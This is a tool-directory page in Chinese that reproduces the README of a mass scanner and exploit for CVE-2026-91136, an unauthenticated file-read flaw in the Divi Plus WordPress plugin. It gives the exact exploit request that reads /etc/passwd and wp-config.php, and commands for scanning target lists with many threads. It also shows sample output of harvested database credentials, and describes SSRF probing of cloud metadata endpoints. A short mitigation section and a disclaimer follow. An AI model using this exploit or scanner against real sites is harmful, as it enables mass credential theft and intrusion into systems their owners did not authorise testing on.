Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-91136 — 针对 CVE-2026-91136 的大规模扫描器与 PoC 漏洞利用工具,该漏洞是 Divi Plus WordPress 插件中通过 svg_image REST 参数实现的未认证任意文件读取漏洞。 | Kitploit
工具/GitHubGitHub/fl0ydsec/cve-2026-91136
侦察漏洞扫描器Web漏洞扫描器漏洞利用Web应用程序漏洞利用数据泄露信息收集Web安全
GitHubfl0ydsec/cve-2026-91136

CVE-2026-91136

针对 CVE-2026-91136 的大规模扫描器与 PoC 漏洞利用工具,该漏洞是 Divi Plus WordPress 插件中通过 svg_image REST 参数实现的未认证任意文件读取漏洞。

查看仓库
224天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-91136 — Divi Plus ≤ 2.4.0 — 未授权任意文件读取 PoC

Divi Plus (Elicus) — WordPress 插件 ≤ 2.4.0 — 通过 elicus/v1 REST 命名空间的 svg_image 参数实现未授权任意文件读取。

CVE-2026-91136 CVSS WordPress Auth

Author Python Telegram


📋 漏洞概述

属性详情
CVE IDCVE-2026-91136
利用链svg_image → file_get_contents()(回退 wp_remote_get)→ JSON html
严重程度🟠 高危 (CVSS 7.5)
目标Divi Plus (Divi Extended / Elicus)
受影响版本≤ 2.4.0
修复版本2.4.1
所需认证无

🔍 技术描述

SVGAnimatorController::index_permission 无条件返回 true,因此无需认证即可访问 /wp-json/elicus/v1/dipl-modules/svg-animator 端点。svg_image 输入仅经过 sanitize_text_field() 和 esc_html() 处理——这些函数并不限制文件系统路径、file:// 流包装器或远程 URL——随后被传递给 file_get_contents()(带有 wp_remote_get() 回退)。原始响应体被返回在 JSON 的 html 字段中。

GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
        │
        ▼
index_permission() = true (no auth)
        │
        ▼
svg_image -> sanitize_text_field/esc_html (no path restriction)
        │
        ▼
file_get_contents() -> fallback wp_remote_get()
        │
        ▼
{"html":"root:x:0:0:root:/root:/bin/bash\n..."}

影响:读取 /etc/passwd、wp-config.php(数据库凭据 + 认证盐值)、 通过 SSRF 访问云元数据(169.254.169.254 / GCP / Azure / DO / OCI)、.env 以及 Web 用户可读取的任何其他文件。


🚀 使用方法

# single target
python CVE-2026-91136.py -u https://target.com

# mass scan
python CVE-2026-91136.py -i targets.txt -t 20 -o results

# interactive (banner -> targets -> threads)
python CVE-2026-91136.py
选项描述
-u/--url URL单个目标
-i/--input FILE目标文件,每行一个(允许 # 注释)
-t/--threads N线程数(省略时交互式询问)
--timeout N请求超时(默认 12)
-q/--quiet仅显示命中项;其余内容进入内联计数器
-v/--verbose每个目标显示一行
-o/--output FILE将结果写入 JSONL + FILE.hits.txt

📊 输出

[OK] https://target.com                                        ✓ 1  ✗ 0
    passwd: root:x:0:0:root:/root:/bin/bash
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
    wp-config: /var/www/html/wp-config.php
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/var/www/html/wp-config.php
      DB_NAME=wordpress
      DB_USER=wp_user
      DB_PASSWORD=***
      DB_HOST=localhost

✓ OK: 1   ✗ FAIL: 2979   total: 2980
  • 实时单行进度条:[████░░░░] 42% (1250/2980) ✓ 3 ✗ 1247
  • results.hits.txt — 仅包含已确认存在漏洞的目标

⚙️ 功能特性

  • 指纹识别:svg-animator 端点响应 + 通过 divi-plus 资源 ?ver= 获取版本
  • 版本判定:存在漏洞的分支返回文件内容;已修补/WAF 返回 403/空
  • wp-config.php 发现:固定候选路径 + 从 /etc/passwd 解析出的真实 /home/<user>/ 目录
  • SSRF 探测:AWS / GCP / Azure / DigitalOcean / OCI 元数据端点
  • 战利品提取:数据库凭据 + WordPress 认证盐值,并为每个发现提供可直接复用的链接
  • 批量模式:线程池、去重、实时 ✓/✗ 统计、JSONL + 命中结果导出

📁 文件结构

├── CVE-2026-91136.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ 免责声明

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ 缓解措施

  1. 将 Divi Plus 更新至 2.4.1(或更高版本)
  2. 轮换任何通过文件读取泄露的凭据
  3. 在 WAF 处拦截 GET/POST /wp-json/elicus/v1/dipl-modules/svg-animator
  4. 监控日志中 svg_image 值是否包含 file://、/etc/ 或元数据 IP

👤 作者

fl0ydsec (Floydroot)

GitHub Telegram

安全研究

下载工具